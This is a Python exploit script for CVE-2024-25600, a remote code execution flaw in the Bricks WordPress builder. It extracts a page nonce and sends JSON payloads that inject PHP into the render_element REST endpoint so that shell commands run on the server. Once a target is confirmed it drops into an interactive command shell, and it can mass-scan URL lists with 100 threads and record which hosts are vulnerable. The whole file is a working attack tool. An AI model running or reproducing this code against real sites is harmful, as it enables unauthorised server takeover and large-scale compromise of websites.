import re
import warnings
import argparse
import requests

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed


warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class Code:
    def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
        self.url = url
        self.pretty = pretty
        self.verbose = verbose
        self.console = Console()
        self.only_rce = only_rce
        self.nonce = self.fetch_nonce()
        self.payload_type = payload_type

    def fetch_nonce(self):
        try:
            response = requests.get(self.url, verify=False, timeout=20)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, "html.parser")
            script_tag = soup.find("script", id="bricks-scripts-js-extra")
            if script_tag:
                match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
                if match:
                    return match.group(1)
        except Exception:
            pass

    def send_request(self, postId="1", command="whoami"):
        headers = {"Content-Type": "application/json"}
        payload_command = f'throw new Exception(`{command}` . "END");'

        base_element = {
            "postId": postId,
            "nonce": self.nonce,
        }

        query_settings = {
            "useQueryEditor": True,
            "queryEditor": payload_command,
        }

        payload_templates = {
            "carousel": {
                **base_element,
                "element": {
                    "name": "carousel",
                    "settings": {"type": "posts", "query": query_settings},
                },
            },
            "container": {
                **base_element,
                "element": {
                    "name": "container",
                    "settings": {"hasLoop": "true", "query": query_settings},
                },
            },
            "generic": {
                **base_element,
                "element": "1",
                "loopElement": {
                    "settings": {"query": query_settings},
                },
            },
            "code": {
                **base_element,
                "element": {
                    "name": "code",
                    "settings": {
                        "executeCode": "true",
                        "code": f"<?php {payload_command} ?>",
                    },
                },
            },
        }

        json_data = payload_templates.get(self.payload_type)
        if self.pretty:
            endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
        else:
            endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"

        req = requests.post(
            endpoint,
            headers=headers,
            json=json_data,
            verify=False,
            timeout=20,
        )
        return req

    def process_response(self, response):
        if response and response.status_code == 200:
            try:
                json_response = response.json()
                html_content = json_response.get("data", {}).get("html", None)
            except ValueError:
                html_content = response.text

            if html_content:
                match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
                if match:
                    extracted_text = match.group(1).strip()
                    if extracted_text == "":
                        return True, html_content, False
                    else:
                        return True, extracted_text, True
                else:
                    return True, html_content, False
        return False, None, False

    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        self.custom_print("Shell is ready, please type your commands UwU", "!")

        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        response = self.send_request(command=cmd)
                        (
                            is_vuln,
                            response_content,
                            regex_success,
                        ) = self.process_response(response)
                        if is_vuln and regex_success:
                            print(response_content, "\n")
                        else:
                            self.custom_print(
                                "No valid response received or target not vulnerable.",
                                "-",
                            )

            except KeyboardInterrupt:
                break

    def check_vulnerability(self):
        try:
            response = self.send_request()
            is_vuln, content, regex_success = self.process_response(response)

            if is_vuln:
                if regex_success:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
                        "+",
                    )
                else:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
                        "!",
                    ) if not self.only_rce else None
                return True, content, regex_success
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
                ) if self.verbose else None
                return False, None, False
        except Exception as e:
            self.custom_print(
                f"Error checking vulnerability: {e}", "-"
            ) if self.verbose else None
            return False, None, False

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )


def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
    code_instance = Code(
        url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
    )
    if code_instance.nonce:
        is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
        if is_vuln and (not only_rce or is_rce_success):
            if output_file:
                with open(output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
    return False


def main():
    parser = argparse.ArgumentParser(
        description="Check for CVE-2024-25600 vulnerability"
    )
    parser.add_argument(
        "--url", "-u", help="URL to fetch nonce from and check vulnerability"
    )
    parser.add_argument(
        "--list",
        "-l",
        help="Path to a file containing a list of URLs to check for vulnerability",
        default=None,
    )
    parser.add_argument(
        "--output",
        "-o",
        help="File to write vulnerable URLs to",
        default=None,
    )

    parser.add_argument(
        "--payload-type",
        "-p",
        choices=["carousel", "container", "generic", "code"],
        default="code",
        help="Type of payload to send (generic, code, carousel or container)",
    )
    parser.add_argument(
        "--only-rce",
        action="store_true",
        help="Only display and record URLs where RCE is confirmed",
    )
    parser.add_argument(
        "--pretty",
        action="store_true",
        help="Use pretty URLs (e.g., /wp-json/...) for requests",
    )

    args = parser.parse_args()

    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(
                        scan_url,
                        url,
                        args.payload_type,
                        args.output,
                        args.only_rce,
                        args.pretty,
                    ): url
                    for url in urls
                }
                for future in as_completed(future_to_url):
                    future_to_url[future]
                    try:
                        future.result()
                    except Exception:
                        pass
                    finally:
                        bar()

    elif args.url:
        code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
        if code_instance.nonce:
            code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
            is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
            if is_vuln and is_rce_success:
                code_instance.interactive_shell()
            elif is_vuln and not args.only_rce:
                code_instance.custom_print(f"Debug:\n{html_content}", "!")
            else:
                code_instance.custom_print(f"No vulnerability found.", "-")
        else:
            code_instance.custom_print("Nonce not found.", "-")
    else:
        parser.print_help()


if __name__ == "__main__":
    main()